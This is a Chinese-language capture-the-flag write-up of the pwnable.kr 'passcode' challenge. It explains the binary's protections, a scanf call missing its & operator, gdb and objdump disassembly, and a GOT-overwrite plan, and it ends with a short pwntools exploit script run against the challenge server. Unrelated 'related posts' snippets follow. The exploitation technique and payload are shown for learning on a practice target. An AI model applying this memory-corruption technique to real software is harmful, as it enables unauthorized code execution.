passcode

一、前言:

做了几天的pwn题目,特别有感慨,感谢这个美好的时代,感谢各位大佬,每次看着你们的文章,复现题目的过程中,我都学到了很多的知识。

二、题目:

1、查看:

2、检查程序的防护:

pwn或checksec

1 >>> from pwn import *
2 >>> check = ELF("./passcode")

发现程序有栈溢出保护和NX(数据执行保护)

1)Arch:Linux架构

2)RELRO:设置符号重定向表现为只读获在程序启动时就解析并绑定所有动态符号,从而减少GOT攻击

3)Stack:栈保护

栈溢出保护是一种缓冲区溢出攻击缓解手段。
当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。
当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。
攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。
在Linux中我们将cookie信息称为canary。

4)NX:NX/DEP,堆栈不可执行

NX(DEP)的基本原理是将数据所在内存页标识为不可执行,

当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,

此时CPU就会抛出异常,而不是去执行恶意指令。

5)PIE:地址随机化

PS:http://www.mamicode.com/info-detail-1990426.html

三、代码:

 1 #include <stdio.h>
 2 #include <stdlib.h>
 3
 4 void login(){
 5     int passcode1;
 6     int passcode2;
 7
 8     printf("enter passcode1 : ");
 9     scanf("%d", passcode1);
10     fflush(stdin);
11
12     // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
13     printf("enter passcode2 : ");
14         scanf("%d", passcode2);
15
16     printf("checking...\n");
17     if(passcode1==338150 && passcode2==13371337){
18                 printf("Login OK!\n");
19                 system("/bin/cat flag");
20         }
21         else{
22                 printf("Login Failed!\n");
23         exit(0);
24         }
25 }
26
27 void welcome(){
28     char name[100];
29     printf("enter you name : ");
30     scanf("%100s", name);
31     printf("Welcome %s!\n", name);
32 }
33
34 int main(){
35     printf("Toddler's Secure Login System 1.0 beta.\n");
36
37     welcome();
38     login();
39
40     // something after login...
41     printf("Now I can safely trust you that you have credential :)\n");
42     return 0;
43 }

四、审计:

1、main函数:

main函数中调用了welcome函数和login函数

2、welcome函数:
1)声明一个名为name,大小为100字节的字符串变量
2)scanf():从标准输入设备读取输入的信息
3)输入name值

3、login函数:

(1)声明了两个变量
(2)fflush(stdin)的功能是清空输入缓冲区
(3)scanf():
scanf("%d", passcode1)和scanf("%d", passcode2)
对输入的变量没有使用取地址符号&
这会导致读入数据的时候,scanf会把这个变量中的值(指向的地址)当成存储地址来存放数据。

1 #include <stdio.h>
2 int main(){
3     int i;
4     i = 10;
5     printf("i = %d\n",i);//i 只能固定是10
6     return 0;
7 }

1 #include <stdio.h>
2 int main(){
3     int i;
4     scanf("%d",&i); //&i 表示变量i的地址,&是取地址符,&i表示取变量i的地址。i灵活获取数据
5     printf("i = %d\n",i);
6     return 0;
7 }

(4)如果passcode1 =338150 并且passcode2 = 13371337,就成功获得flag

五、利用:

1、利用思路:

(1)本地动态调试:

1)查看函数:

1 gdb-peda$ disassemble main

2)对三个函数下断点:

1 gdb-peda$ b main
2 Breakpoint 1 at 0x128a
3 gdb-peda$ b welcome
4 Breakpoint 2 at 0x123e
5 gdb-peda$ b login
6 Breakpoint 3 at 0x1189
7 gdb-peda$ 

3)运行程序:

1 gdb-peda$ r

4)进入welcome函数:

1 gdb-peda$ ni
2
3 gdb-peda$ si

EBP(RBP):0x7fffffffe170

name的地址在:[rbp-0x70]

5)输入aa

aa的地址:0x7fffffffe118

6)进入login函数:

EBP(RBP):0x7fffffffe170  和welcome相同

passcode1地址:[rbp-0x4]

(2)远程动态调试:

1 passcode@ubuntu:~$ gdb ./passcode

运行进入并查看函数和指令:

步过和步入后

name的地址为-0x70

输入aa

地址与上文的相同。

程序进行了检查

检查到被修改,调用了另一个函数(gs内存保护机制启用)

两变量的地址

(3)静态调试:

1 passcode@ubuntu:~$ objdump -d passcode

1)分析

 1 08048564 <login>:
 2  8048564:    55                       push   %ebp //将ebp压入栈中
 3  8048565:    89 e5                    mov    %esp,%ebp //将ebp复制为esp
 4  8048567:    83 ec 28                 sub    $0x28,%esp //分配栈空间
 5  804856a:    b8 70 87 04 08           mov    $0x8048770,%eax //压入寄存器
 6  804856f:    89 04 24                 mov    %eax,(%esp)
 7  8048572:    e8 a9 fe ff ff           call   8048420 <printf@plt>
 8  8048577:    b8 83 87 04 08           mov    $0x8048783,%eax
 9  804857c:    8b 55 f0                 mov    -0x10(%ebp),%edx //passcode1的内容作为参数传给scanf
10  804857f:    89 54 24 04              mov    %edx,0x4(%esp)
11  8048583:    89 04 24                 mov    %eax,(%esp)
12  8048586:    e8 15 ff ff ff           call   80484a0 <__isoc99_scanf@plt>
13  804858b:    a1 2c a0 04 08           mov    0x804a02c,%eax
14  8048590:    89 04 24                 mov    %eax,(%esp)
15  8048593:    e8 98 fe ff ff           call   8048430 <fflush@plt>
16  8048598:    b8 86 87 04 08           mov    $0x8048786,%eax
17  804859d:    89 04 24                 mov    %eax,(%esp)
18  80485a0:    e8 7b fe ff ff           call   8048420 <printf@plt>
19  80485a5:    b8 83 87 04 08           mov    $0x8048783,%eax
20  80485aa:    8b 55 f4                 mov    -0xc(%ebp),%edx //passcode2的内容作为参数传给scanf
21  80485ad:    89 54 24 04              mov    %edx,0x4(%esp)
22  80485b1:    89 04 24                 mov    %eax,(%esp)
23  80485b4:    e8 e7 fe ff ff           call   80484a0 <__isoc99_scanf@plt>
24  80485b9:    c7 04 24 99 87 04 08     movl   $0x8048799,(%esp)
25  80485c0:    e8 8b fe ff ff           call   8048450 <puts@plt>
26  80485c5:    81 7d f0 e6 28 05 00     cmpl   $0x528e6,-0x10(%ebp) //第一个参数的比较
27  80485cc:    75 23                    jne    80485f1 <login+0x8d>
28  80485ce:    81 7d f4 c9 07 cc 00     cmpl   $0xcc07c9,-0xc(%ebp) //第二个参数的比较
29  80485d5:    75 1a                    jne    80485f1 <login+0x8d>
30  80485d7:    c7 04 24 a5 87 04 08     movl   $0x80487a5,(%esp)
31  80485de:    e8 6d fe ff ff           call   8048450 <puts@plt>
32  80485e3:    c7 04 24 af 87 04 08     movl   $0x80487af,(%esp)
33  80485ea:    e8 71 fe ff ff           call   8048460 <system@plt> //执行系统命令
34  80485ef:    c9                       leave
35  80485f0:    c3                       ret
36  80485f1:    c7 04 24 bd 87 04 08     movl   $0x80487bd,(%esp)
37  80485f8:    e8 53 fe ff ff           call   8048450 <puts@plt>
38  80485fd:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)
39  8048604:    e8 77 fe ff ff           call   8048480 <exit@plt>
40
41 08048609 <welcome>:
42  8048609:    55                       push   %ebp
43  804860a:    89 e5                    mov    %esp,%ebp
44  804860c:    81 ec 88 00 00 00        sub    $0x88,%esp
45  8048612:    65 a1 14 00 00 00        mov    %gs:0x14,%eax
46  8048618:    89 45 f4                 mov    %eax,-0xc(%ebp)
47  804861b:    31 c0                    xor    %eax,%eax
48  804861d:    b8 cb 87 04 08           mov    $0x80487cb,%eax
49  8048622:    89 04 24                 mov    %eax,(%esp)
50  8048625:    e8 f6 fd ff ff           call   8048420 <printf@plt>
51  804862a:    b8 dd 87 04 08           mov    $0x80487dd,%eax
52  804862f:    8d 55 90                 lea    -0x70(%ebp),%edx //name的地址
53  8048632:    89 54 24 04              mov    %edx,0x4(%esp)
54  8048636:    89 04 24                 mov    %eax,(%esp)
55  8048639:    e8 62 fe ff ff           call   80484a0 <__isoc99_scanf@plt>
56  804863e:    b8 e3 87 04 08           mov    $0x80487e3,%eax
57  8048643:    8d 55 90                 lea    -0x70(%ebp),%edx
58  8048646:    89 54 24 04              mov    %edx,0x4(%esp)
59  804864a:    89 04 24                 mov    %eax,(%esp)
60  804864d:    e8 ce fd ff ff           call   8048420 <printf@plt>
61  8048652:    8b 45 f4                 mov    -0xc(%ebp),%eax
62  8048655:    65 33 05 14 00 00 00     xor    %gs:0x14,%eax
63  804865c:    74 05                    je     8048663 <welcome+0x5a>
64  804865e:    e8 dd fd ff ff           call   8048440 <__stack_chk_fail@plt>
65  8048663:    c9                       leave
66  8048664:    c3                       ret  
 1 08048665 <main>:
 2  8048665:    55                       push   %ebp
 3  8048666:    89 e5                    mov    %esp,%ebp
 4  8048668:    83 e4 f0                 and    $0xfffffff0,%esp
 5  804866b:    83 ec 10                 sub    $0x10,%esp
 6  804866e:    c7 04 24 f0 87 04 08     movl   $0x80487f0,(%esp)
 7  8048675:    e8 d6 fd ff ff           call   8048450 <puts@plt>
 8  804867a:    e8 8a ff ff ff           call   8048609 <welcome> //栈底
 9  804867f:    e8 e0 fe ff ff           call   8048564 <login> //栈底
10  8048684:    c7 04 24 18 88 04 08     movl   $0x8048818,(%esp)
11  804868b:    e8 c0 fd ff ff           call   8048450 <puts@plt>
12  8048690:    b8 00 00 00 00           mov    $0x0,%eax
13  8048695:    c9                       leave  

(4)思路汇总:

0)栈地址:这两个函数的ebp不同,但由于这两个函数是由main函数同步调用的,而且它们的参数个数一样多(都是0个),所以在数值上两个函数的ebp是相等的。

1)name的地址:ebp - 0x70

2)passcode1的地址:ebp-0x10

3)passcode2的地址:ebp-0xc

4) 思路A:

0x70 - 0x10 = 96  ,name声明了100个字节,所以最后4个字节就是passcode1的值,所以可以利用name改变passcode1的值

但由于开启了栈保护机制,所以不能通过name的输入来改变passcode2值。(如果可以,就可以通过name的值的修改来控制达到目的)

5)思路B:由于name值的最后4个字节是passcode1值,所以可以通过将passcode1的值改为scanf("%d",passcode2)的地址(前面提到的没有使用&取地址符号),然后输入目标system函数的地址,从而获取flag。

通过GOT表或PLT表找到指向的目标函数地址:

GOT(Global Offset Table),PLT(Procedure Linkage Table)
是Linux系统下面ELF格式的可执行文件中,用于定位全局变量和过程的数据信息。

程序编译时会采用两种表进行辅助,一个为 PLT PLT表,一个为GOT表,
PLT表可以称为内部函数表,GOT表为全局函数表。

1)GOT表:

1 passcode@ubuntu:~$ objdump -R passcode

2)PLT表:

1 passcode@ubuntu:~$ readelf -r ./passcode

3)scanf("%d",passcode2)的地址:

%d,故转换成:

2、利用代码:

 1 from pwn import *
 2
 3 payload = 'd' * 96 + p32(0x0804a000) + '134514147'
 4 def passcode():
 5     sshed = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222)
 6     print(sshed.connected())
 7     exe = sshed.process('./passcode')
 8     exe.sendline(payload)
 9     print(exe.recvline())
10     print(exe.recvline())
11     print(exe.recvline())
12
13 passcode()

六、总结:

栈保护进制,内存保护机制不了解

栈的运行机制和溢出原理还不太熟悉

GOT表覆写技术不了解

七、参考:

https://www.52pojie.cn/forum.php?mod=viewthread&tid=552088

https://www.jianshu.com/p/886a7b8c2ad5

https://www.cnblogs.com/binlmmhc/p/6189514.html

https://blog.csdn.net/qq_20307987/article/details/51303824

转载于:https://www.cnblogs.com/beiweisanshidu/p/10259993.html

5、passcode相关推荐

  1. pwnable.rk [Toddler‘s Bottle]  5、passcode 详细过程

    最近在学习pwn,做到这个题搜了一些资料,弄了挺长时间,记录一下. passcode.c代码如下: #include <stdio.h> #include <stdlib.h> ...

  2. HCIE-Security Day44:AC产品概述、功能、架构组成、AC准入主要技术、RADIUS协议

    什么是AC Agile Controller:敏健控制器.基于用户与应用的网络资源自动化控制系统,作为园区网络的集中化控制核心,全局控制园区网络的用户.业务与安全等策略. Agile Controll ...

  3. 网管实战之使用RSA实现企业安全访问

    [IT168 专稿]笔者目前所在公司是一家跨国外资企业,同时在国内亦有几十家分支机构.整个企业是在域的环境中,各分支是通过Cisco的ASA系列防火墙以IPSEC ×××的方式与位于北京的数据中心互连 ...

  4. H12-723题库-个人整理笔记

    H12-723: Agile Controller-Campus 系统架构属于 C/S 架构. A.正确 B.错误 答案:B Agile Controller-Campus 系统架构属于 B/S 架构 ...

  5. 从 Secure Element 到 Android KeyStore

    忽如一夜春风来,智能手机来到每个人的手上,我们用它支付.理财.娱乐.工作.记录生活.存储私密信息.乘坐公共交通.开启家门.控制汽车....智能手机是如此的重要,不知天天把它拿在手上的你,是否关心过它是 ...

  6. 《图解密码技术》读后的总结

    <图解密码技术>我认为是一本密码学入门的易读书,身边的几个做密码相关工具的朋友都推荐我看看,这次有时间就看了下. 本书是我11月份开始阅读的,一共用了25天,每天读完后都会把一些我认为是重 ...

  7. Apple iOS安全分析

    今天就介绍一下IOS的安全机制. 先来一张系统安全架构,后续逐渐解释: IOS内核来源于OS X,很多安全特性也由此借鉴. 1.安全启动 苹果的系统完整性校验主要包括:bootloaders, ker ...

  8. 专利审查指南(2010)

    专利审查指南(2010) http://www.chinalaw.gov.cn/article/fgkd/xfg/gwybmgz/201004/20100400253035.shtml来源国务院法制办 ...

  9. 湖南省中职学业水平测试试题信息技术

    试题: 1.按照指法要求,击打空格键,应使用( ). A.左手和右手的食指,因食指最灵活 B.左手或右手的拇指 C.左手或右手的中指 D.左手或右手的无名指 2.显示器的清晰度是由( )决定的. A. ...

最新文章

  1. Spring 之常用接口
  2. 关于pipeline
  3. 文末送书丨深度迁移学习方法的基本思路
  4. php面向对象引用文件,PHP面向对象之对象和引用
  5. 信息学奥赛一本通 2016:【例4.1】for循环求和
  6. 会话技术(Cookie Session)
  7. 计算机复试上机辅导班,软件工程考研辅导班:考研院校2020年计算机/软件工程复试经验总结...
  8. idea里边创建类的时候和方法自动生成注释
  9. parquet : java.lang.NoSuchFieldError: BROTLI
  10. Oracle日期时间汇总
  11. 拓端tecdat|【数据分享】学生受欢迎程度评价数据集
  12. HTML做一个简单漂亮的宠物网页(纯html代码)
  13. oracle goldengate director,Oracle GoldenGate Director安装和配置
  14. 谓语动词时态 - 一般过去时、一般现在时、现在进行时
  15. 手机贴图压缩技术标准及作用
  16. 细数银行7大手续费 这些冤枉钱别再交了
  17. Python​ 重解零基础100题(2)
  18. 字符转详细与初步了解for循环
  19. Adobe PhotoShop安装程序无法初始化的解决办法
  20. 智能网联-远控的基本原理

热门文章

  1. 计算机学院校运会解说词,大学学院运动会入场解说词
  2. 大一下学期第十一周及以前学习总结
  3. markdown画图之一:流程图(flowchart)
  4. Unity Shader入门精要 第2章 读书笔记
  5. 电子计算机显示屏不亮了,手把手教你电脑显示器不亮怎么办
  6. 双语美文|治愈系英文段子,你对人生过敏吗
  7. HTML学生考勤界面代码,基于jsp的学生考勤系统-JavaEE实现学生考勤系统 - java项目源码...
  8. html中的x轴y轴坐标图,ECharts xAxis配置 x坐标轴刻度
  9. qimgv(图片视频浏览器)-小工具
  10. php提交按钮快捷键,直接打印快捷键